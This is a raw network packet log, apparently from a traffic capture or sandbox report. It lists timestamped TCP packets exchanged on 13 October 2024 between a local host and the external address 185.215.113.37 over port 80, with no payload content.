Oct 13, 2024 11:54:05.812371016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812418938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812427998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812467098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812468052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812515020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812517881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812560081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812566042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812614918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812619925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812661886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812663078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812711954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812711954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812757969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812761068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812808990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812813997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812858105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812859058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812906981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812915087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812958002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812962055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813009024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813010931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813059092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813060045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813107967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813111067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813158989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813163042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813209057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813213110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813256979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813257933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813304901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813306093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813354015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813359022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813400030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813402891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813451052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813452005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813499928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.813504934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.813540936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.846688986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.846781969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.846832991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.846880913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.846884012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.846884012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.846960068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847028017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847079039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847095013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847095013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847095013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847095013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847145081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847193003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847239971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847287893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847313881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847313881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847313881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847313881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847337008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847338915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847402096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847418070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847466946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847471952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847516060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847517967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847564936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847565889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847616911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847616911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847665071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847667933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847713947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847718000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847762108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847765923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847817898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847819090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847867966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847868919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847922087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.847923994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847968102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.847971916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848020077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848021984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848068953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848072052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848119974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848124981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848170996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848177910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848220110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848220110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848268032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848268986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848315954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848315954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848365068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848366976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848414898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848417997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848467112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.848468065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.848526001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865106106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865235090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865288019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865336895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865364075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865364075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865415096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865464926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865516901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.865564108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865564108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865564108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865564108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.865823030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902000904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902067900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902138948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902205944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902209044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902255058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902261972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902281046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902311087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902316093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902364969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902380943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902429104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902430058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902477026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902478933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902525902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902528048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902575970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902579069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902625084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902650118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902698994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902712107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902745962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902749062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902813911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902820110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902862072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902887106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902930975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.902940035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902978897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.902997971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903044939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903064013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903115034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903130054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903186083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903197050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903249025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903260946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903310061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903311014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903354883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903357983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903408051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903456926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903578043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903580904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903630972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903635979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903677940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903695107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903744936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903750896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903789997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903789997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903839111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903840065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903887987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903888941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903935909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.903947115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.903985023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904031038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904037952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904086113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904102087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904102087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904134035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904181957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904212952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904233932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904253960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904273987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904288054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904313087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904316902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904316902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904316902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904316902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904316902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904337883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904339075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904339075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904339075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904361963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904356956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904382944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904386997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904407024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904407024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904428959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904436111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904448032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904455900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904476881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904483080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904498100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904498100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904531002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904531956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904544115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904551983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904576063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904581070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904587984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904601097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904627085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904628038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904642105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904642105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904674053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904674053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904687881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904692888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904719114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904726982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904735088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904747009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904763937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904763937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904779911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904782057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904810905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904812098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904828072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904834986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904859066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904864073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904877901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904882908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904903889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904910088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904927015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904930115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904949903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904956102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.904970884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.904972076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.905003071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.905014038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.905021906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.905045033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.905045033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.905070066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939096928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939191103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939243078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939289093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939290047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939327002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939342022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939348936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939404964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939444065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939498901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939513922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939563036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939568996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939610004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939620972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939667940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939686060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939742088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939750910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939800024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939805984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939846039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939850092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939897060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939903975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939944029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.939946890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.939997911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940006018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940048933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940052986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940097094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940105915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940144062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940145016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940191984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940196037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940243959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940248966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940289021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940293074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940337896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940339088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940387964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940422058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940432072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940434933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940481901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940483093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940526009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940535069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940570116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940577984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.940627098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.940627098 CEST	80	49730	185.215.113.37	192.168.2.4
